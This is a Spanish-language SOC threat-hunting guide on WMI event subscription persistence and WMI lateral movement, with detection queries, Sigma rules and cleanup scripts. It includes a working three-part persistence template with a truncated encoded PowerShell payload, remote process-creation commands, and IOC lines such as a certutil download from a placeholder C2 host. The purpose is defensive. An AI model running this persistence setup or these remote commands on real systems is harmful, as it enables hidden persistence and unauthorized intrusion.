IntermedioWMIpersistenciaevent subscriptionlateral movementhuntingSysmonSigmaT1546.003MITRE ATT&CK

Persistencia WMI y Event Subscription: Hunting en el SOC

Guía completa sobre persistencia WMI y event subscriptions para hunting en el SOC: fundamentos de WMI, suscripciones de eventos para persistencia, movimiento lateral vía WMI, hunting con PowerShell y Sysmon, detección con reglas Sigma, limpieza de artefactos, IOCs y mapeo MITRE ATT&CK T1546.003.

MalwareIntel Research··10 min lectura
Serie: Casos de Uso — Parte 17

Fundamentos de WMI

Windows Management Instrumentation (WMI) es la implementación de Microsoft del estándar WBEM (Web-Based Enterprise Management). Proporciona una interfaz unificada para acceder a información del sistema, configuración y gestión remota.

Arquitectura de WMI

                    ┌─────────────────────┐
                    │   Aplicaciones       │
                    │  (PowerShell, WMIC,  │
                    │   scripts, malware)  │
                    └──────────┬──────────┘
                               │
                    ┌──────────▼──────────┐
                    │  WMI Service         │
                    │  (WinMgmt/svchost)   │
                    └──────────┬──────────┘
                               │
              ┌────────────────┼────────────────┐
              │                │                │
    ┌─────────▼─────┐ ┌───────▼───────┐ ┌──────▼──────┐
    │  CIM Repository│ │  Providers     │ │  DCOM/WinRM │
    │  (OBJECTS.DATA)│ │  (Win32, etc.) │ │  (Remoto)   │
    └───────────────┘ └───────────────┘ └─────────────┘

Componentes clave para el atacante

  • Namespaces: root\cimv2 (sistema), root\subscription (eventos)
  • Clases: Win32_Process, Win32_Service, Win32_OperatingSystem
  • Métodos: Create (ejecutar procesos), ExecQuery (consultar)
  • Repositorio CIM: base de datos persistente en %WINDIR%\System32\wbem\Repository\

WMI Event Subscriptions para persistencia

Las WMI Event Subscriptions son el mecanismo más potente de persistencia basado en WMI. Requieren tres componentes:

Los tres componentes

1. EventFilter       → QUÉ evento dispara la acción
2. EventConsumer     → QUÉ acción se ejecuta
3. FilterToConsumer  → ENLACE entre el filtro y el consumidor
   Binding

Ejemplo de persistencia maliciosa

# COMPONENTE 1: EventFilter
# Se dispara cada vez que el sistema arranca (dentro de 300s del boot)
$Filter = Set-WmiInstance -Namespace "root\subscription" `
  -Class __EventFilter `
  -Arguments @{
    Name = "SystemCoreUpdateFilter"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
  }

# COMPONENTE 2: CommandLineEventConsumer
# Ejecuta PowerShell con payload codificado en Base64
$Consumer = Set-WmiInstance -Namespace "root\subscription" `
  -Class CommandLineEventConsumer `
  -Arguments @{
    Name = "SystemCoreUpdateConsumer"
    CommandLineTemplate = "powershell.exe -nop -w hidden -enc SQBFAFgAIAAoA..."
  }

# COMPONENTE 3: FilterToConsumerBinding
# Enlaza el filtro con el consumidor
Set-WmiInstance -Namespace "root\subscription" `
  -Class __FilterToConsumerBinding `
  -Arguments @{
    Filter = $Filter
    Consumer = $Consumer
  }

Tipos de EventFilter comunes en ataques

-- Al arrancar el sistema (el más usado para persistencia)
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325

-- Al iniciar sesión un usuario
SELECT * FROM __InstanceCreationEvent WITHIN 15
WHERE TargetInstance ISA 'Win32_LogonSession'
AND TargetInstance.LogonType = 2

-- Al crearse un proceso específico
SELECT * FROM __InstanceCreationEvent WITHIN 5
WHERE TargetInstance ISA 'Win32_Process'
AND TargetInstance.Name = 'outlook.exe'

-- A una hora específica (similar a tarea programada)
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 3 AND TargetInstance.Minute = 0

Tipos de EventConsumer

TipoUso maliciosoDetección
CommandLineEventConsumerEjecutar comandos/scriptsMás detectable (crea proceso)
ActiveScriptEventConsumerEjecutar VBScript/JScriptModerada (script engine)
LogFileEventConsumerEscribir en archivo logBaja (parece legítimo)
NTEventLogEventConsumerEscribir en Event LogBaja
SMTPEventConsumerEnviar emailMuy baja en SOC

Movimiento lateral con WMI

Ejecución remota de procesos

# Método 1: wmic (deprecated pero aún funcional)
wmic /node:"10.10.5.20" /user:"CORP\admin" /password:"[REDACTED]" `
  process call create "powershell.exe -nop -w hidden -enc [BASE64]"

# Método 2: Invoke-WmiMethod (PowerShell)
Invoke-WmiMethod -ComputerName "SRV-APP-03" `
  -Class Win32_Process -Name Create `
  -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" `
  -Credential $cred

# Método 3: CIM (PowerShell moderno)
$session = New-CimSession -ComputerName "SRV-APP-03" -Credential $cred
Invoke-CimMethod -CimSession $session `
  -ClassName Win32_Process -MethodName Create `
  -Arguments @{CommandLine = "powershell.exe -nop -enc [BASE64]"}

Protocolo de red

WMI remoto utiliza:
  Protocolo: DCOM (Distributed COM)
  Puerto inicial: TCP 135 (RPC Endpoint Mapper)
  Puertos dinámicos: TCP 49152-65535 (o rango configurado)
  Autenticación: NTLM o Kerberos
  
Alternativa: WinRM (TCP 5985 HTTP o 5986 HTTPS)
  Invoke-CimMethod con -ComputerName usa WinRM por defecto
  en PowerShell 3.0+

Artefactos de movimiento lateral WMI

En el host origen:

Sysmon EID 1: Proceso wmic.exe o powershell.exe ejecutado
Sysmon EID 3: Conexión TCP al puerto 135 del host destino
Security EID 4648: Logon explícito con credenciales alternativas

En el host destino:

Sysmon EID 1: Proceso creado con ParentImage = WmiPrvSE.exe
Security EID 4624: Logon tipo 3 (Network) desde IP del origen
Security EID 4688: Creación de proceso con ParentProcessName = WmiPrvSE.exe
Prefetch: WMIPRVSE.EXE-*.pf con timestamps de ejecución

Hunting con PowerShell

Buscar suscripciones de eventos WMI

# Listar TODOS los Event Filters
Get-WmiObject -Namespace "root\subscription" -Class __EventFilter |
  Select-Object Name, Query, @{N='QueryLines';E={$_.Query -split "`n"}} |
  Format-List

# Listar TODOS los Event Consumers
Get-WmiObject -Namespace "root\subscription" -Class __EventConsumer |
  Select-Object __CLASS, Name, CommandLineTemplate, ScriptText |
  Format-List

# Listar TODOS los Bindings
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding |
  Select-Object @{N='Filter';E={$_.Filter.Split('"')[1]}},
    @{N='Consumer';E={$_.Consumer.Split('"')[1]}} |
  Format-Table

Buscar en múltiples hosts

# Hunting remoto en todos los servidores
$servers = Get-ADComputer -Filter 'OperatingSystem -like "*Server*"' |
  Select-Object -ExpandProperty Name

$results = foreach ($server in $servers) {
    try {
        $filters = Get-WmiObject -Namespace "root\subscription" `
          -Class __EventFilter -ComputerName $server -ErrorAction Stop
        
        $consumers = Get-WmiObject -Namespace "root\subscription" `
          -Class CommandLineEventConsumer -ComputerName $server -ErrorAction Stop
        
        if ($filters -or $consumers) {
            [PSCustomObject]@{
                Server = $server
                FilterCount = ($filters | Measure-Object).Count
                ConsumerCount = ($consumers | Measure-Object).Count
                Filters = ($filters | ForEach-Object { $_.Name }) -join ", "
                Commands = ($consumers | ForEach-Object { $_.CommandLineTemplate }) -join "; "
            }
        }
    } catch {
        Write-Warning "No se pudo conectar a $server"
    }
}

$results | Format-Table -AutoSize

Indicadores de suscripciones maliciosas

# Buscar suscripciones con PowerShell ofuscado
Get-WmiObject -Namespace "root\subscription" -Class CommandLineEventConsumer |
  Where-Object {
    $_.CommandLineTemplate -match "(?i)(powershell|cmd|mshta|wscript|cscript)" -and
    $_.CommandLineTemplate -match "(?i)(-enc|-e\s|-nop|-w\s+hidden|downloadstring|IEX)"
  } | Select-Object Name, CommandLineTemplate

# Buscar ActiveScript consumers (VBScript/JScript)
Get-WmiObject -Namespace "root\subscription" -Class ActiveScriptEventConsumer |
  Where-Object {
    $_.ScriptText -match "(?i)(WScript\.Shell|eval|ActiveXObject|CreateObject)"
  } | Select-Object Name, ScriptingEngine, ScriptText

Hunting con Sysmon

Eventos clave

Sysmon Event ID 19: WmiEventFilter activity detected
Sysmon Event ID 20: WmiEventConsumer activity detected
Sysmon Event ID 21: WmiEventConsumerToFilter activity detected

Configuración de Sysmon para WMI

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- WMI Event Filter creado -->
    <WmiEvent onmatch="include">
      <Operation condition="is">Created</Operation>
    </WmiEvent>
    
    <!-- Procesos creados por WMI (movimiento lateral) -->
    <ProcessCreate onmatch="include">
      <ParentImage condition="is">C:\Windows\System32\wbem\WmiPrvSE.exe</ParentImage>
    </ProcessCreate>
    
    <!-- Conexiones de red WMI -->
    <NetworkConnect onmatch="include">
      <DestinationPort condition="is">135</DestinationPort>
    </NetworkConnect>
  </EventFiltering>
</Sysmon>

Queries de hunting en SIEM

// KQL - Sentinel/Defender
// Suscripciones WMI creadas
SecurityEvent
| where EventID in (19, 20, 21)
| project TimeGenerated, Computer, EventID,
  EventType = case(
    EventID == 19, "Filter Created",
    EventID == 20, "Consumer Created",
    EventID == 21, "Binding Created",
    "Unknown"
  ),
  Details = EventData
| sort by TimeGenerated desc
// SPL - Splunk
// Procesos creados por WMI (indicador de movimiento lateral)
index=sysmon EventCode=1 ParentImage="*\\WmiPrvSE.exe"
| stats count by Image, CommandLine, Computer, User
| where NOT match(Image, "(?i)(wmiprvse|scrcons|mofcomp)")
| sort -count
// KQL - Detección de ejecución remota WMI
DeviceProcessEvents
| where InitiatingProcessFileName =~ "WmiPrvSE.exe"
| where FileName !in~ ("WmiPrvSE.exe", "WmiApSrv.exe",
    "scrcons.exe", "mofcomp.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
  AccountName, InitiatingProcessFileName
| sort by Timestamp desc

Reglas Sigma

Regla 1: Creación de WMI Event Subscription

title: WMI Event Subscription Created
id: wmi-subscription-001
status: stable
description: >
  Detecta la creación de suscripciones WMI de eventos,
  frecuentemente usadas para persistencia
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID:
      - 19
      - 20
      - 21
  filter_known:
    User|contains:
      - 'SYSTEM'
    Consumer|contains:
      - 'SCM Event'
      - 'BVTConsumer'
      - 'TSLogonFilter'
  condition: selection and not filter_known
level: high
tags:
  - attack.persistence
  - attack.t1546.003

Regla 2: Ejecución de proceso por WMI remoto

title: Remote Process Execution via WMI
id: wmi-lateral-001
status: stable
description: >
  Detecta procesos creados por WmiPrvSE.exe que son
  indicativos de ejecución remota vía WMI
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\WmiPrvSE.exe'
  filter_legitimate:
    Image|endswith:
      - '\WmiPrvSE.exe'
      - '\WmiApSrv.exe'
      - '\scrcons.exe'
      - '\mofcomp.exe'
      - '\wmiadap.exe'
  filter_commands:
    CommandLine|contains:
      - 'WMIADAP'
      - 'Register-WmiEvent'
  condition: selection and not filter_legitimate and not filter_commands
level: medium
tags:
  - attack.lateral_movement
  - attack.execution
  - attack.t1047

Regla 3: WMI con PowerShell sospechoso

title: WMI Event Subscription with Suspicious PowerShell Command
id: wmi-powershell-001
status: stable
description: >
  Detecta suscripciones WMI que ejecutan PowerShell con
  parámetros de ofuscación o descarga
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 20
  suspicious_content:
    Consumer|contains:
      - 'powershell'
      - 'cmd.exe'
      - 'mshta'
      - 'wscript'
      - 'cscript'
      - 'certutil'
      - 'bitsadmin'
  obfuscation:
    Consumer|contains:
      - '-enc'
      - '-e '
      - 'hidden'
      - 'bypass'
      - 'downloadstring'
      - 'IEX'
      - 'frombase64'
      - 'invoke-expression'
  condition: selection and suspicious_content and obfuscation
level: critical
tags:
  - attack.persistence
  - attack.t1546.003
  - attack.execution
  - attack.t1059.001

Limpieza de suscripciones WMI maliciosas

Identificar y eliminar

# 1. Listar suscripciones sospechosas
$suspiciousFilters = Get-WmiObject -Namespace "root\subscription" `
  -Class __EventFilter |
  Where-Object { $_.Name -notmatch "(SCM Event|BVTConsumer|TSLogon)" }

$suspiciousConsumers = Get-WmiObject -Namespace "root\subscription" `
  -Class CommandLineEventConsumer |
  Where-Object { $_.CommandLineTemplate -match "(?i)(powershell|cmd|enc)" }

$suspiciousBindings = Get-WmiObject -Namespace "root\subscription" `
  -Class __FilterToConsumerBinding

# 2. Documentar antes de eliminar (evidencia forense)
$suspiciousFilters | Export-Csv "evidence_filters.csv" -NoTypeInformation
$suspiciousConsumers | Export-Csv "evidence_consumers.csv" -NoTypeInformation
$suspiciousBindings | Export-Csv "evidence_bindings.csv" -NoTypeInformation

# 3. Eliminar (primero bindings, luego consumers, luego filters)
$suspiciousBindings | ForEach-Object {
    Write-Host "Removing binding: $($_.Filter) -> $($_.Consumer)"
    $_ | Remove-WmiObject
}

$suspiciousConsumers | ForEach-Object {
    Write-Host "Removing consumer: $($_.Name)"
    $_ | Remove-WmiObject
}

$suspiciousFilters | ForEach-Object {
    Write-Host "Removing filter: $($_.Name)"
    $_ | Remove-WmiObject
}

Verificar el repositorio WMI

# Verificar integridad del repositorio WMI
winmgmt /verifyrepository

# Si el repositorio está corrupto:
# PRECAUCIÓN: esto reinicia el repositorio WMI
winmgmt /salvagerepository

# Verificar que las suscripciones maliciosas ya no existen
Get-WmiObject -Namespace "root\subscription" -Class __EventFilter
Get-WmiObject -Namespace "root\subscription" -Class __EventConsumer
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding

Limpieza remota

# Limpiar suscripciones maliciosas en múltiples hosts
$servers = @("SRV-APP-01", "SRV-APP-02", "SRV-DB-01")

foreach ($server in $servers) {
    Write-Host "Cleaning $server..."
    
    Invoke-Command -ComputerName $server -ScriptBlock {
        # Eliminar suscripción maliciosa por nombre
        $filter = Get-WmiObject -Namespace "root\subscription" `
          -Class __EventFilter -Filter "Name='SystemCoreUpdateFilter'"
        $consumer = Get-WmiObject -Namespace "root\subscription" `
          -Class CommandLineEventConsumer -Filter "Name='SystemCoreUpdateConsumer'"
        $binding = Get-WmiObject -Namespace "root\subscription" `
          -Class __FilterToConsumerBinding |
          Where-Object { $_.Filter -match "SystemCoreUpdateFilter" }
        
        if ($binding) { $binding | Remove-WmiObject }
        if ($consumer) { $consumer | Remove-WmiObject }
        if ($filter) { $filter | Remove-WmiObject }
        
        Write-Host "  Cleaned: Filter=$($filter -ne $null), Consumer=$($consumer -ne $null), Binding=$($binding -ne $null)"
    }
}

IOCs típicos de WMI malicioso

Nombres de suscripciones maliciosas conocidas

SystemCoreUpdateFilter / SystemCoreUpdateConsumer
WindowsParentalFilter / WindowsParentalConsumer
BfeOnServiceStartTypeChange (APT29)
SCM Event Log Filter (variante maliciosa)

Patrones de CommandLine en consumers

powershell.exe -nop -w hidden -enc [BASE64]
cmd.exe /c certutil -urlcache -split -f http://[C2]/payload.exe
mshta vbscript:Execute("CreateObject...")
rundll32.exe C:\Users\Public\[malware].dll,DllMain

Artefactos en el repositorio

%WINDIR%\System32\wbem\Repository\OBJECTS.DATA    Repositorio WMI
%WINDIR%\System32\wbem\Repository\INDEX.BTR       Índice
%WINDIR%\System32\wbem\Repository\MAPPING*.MAP    Mapeos

Mapeo MITRE ATT&CK

TácticaTécnicaIDDetalle
PersistenceEvent Triggered Execution: WMI Event SubscriptionT1546.003Suscripciones WMI para persistencia
ExecutionWindows Management InstrumentationT1047Ejecución de procesos vía WMI
Lateral Movement(via T1047)T1047Ejecución remota de procesos con WMI
Defense Evasion(inherente)N/APersistencia fuera de ubicaciones habituales
DiscoverySystem Information DiscoveryT1082Consultas WMI para reconocimiento

Checklist de hunting para el SOC

Resumen de acciones de hunting que el equipo SOC debe ejecutar periódicamente:

  1. Semanal: revisar Sysmon Event IDs 19, 20, 21 en el SIEM
  2. Semanal: ejecutar script de listado de suscripciones WMI en servidores críticos
  3. Diario: correlacionar procesos creados por WmiPrvSE.exe con login tipo 3
  4. Continuo: alerta en tiempo real para nuevas suscripciones WMI (Sigma rule wmi-subscription-001)
  5. Mensual: auditoría completa del repositorio WMI en Domain Controllers
  6. Post-incidente: buscar suscripciones WMI en todos los hosts comprometidos como parte de la erradicación

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.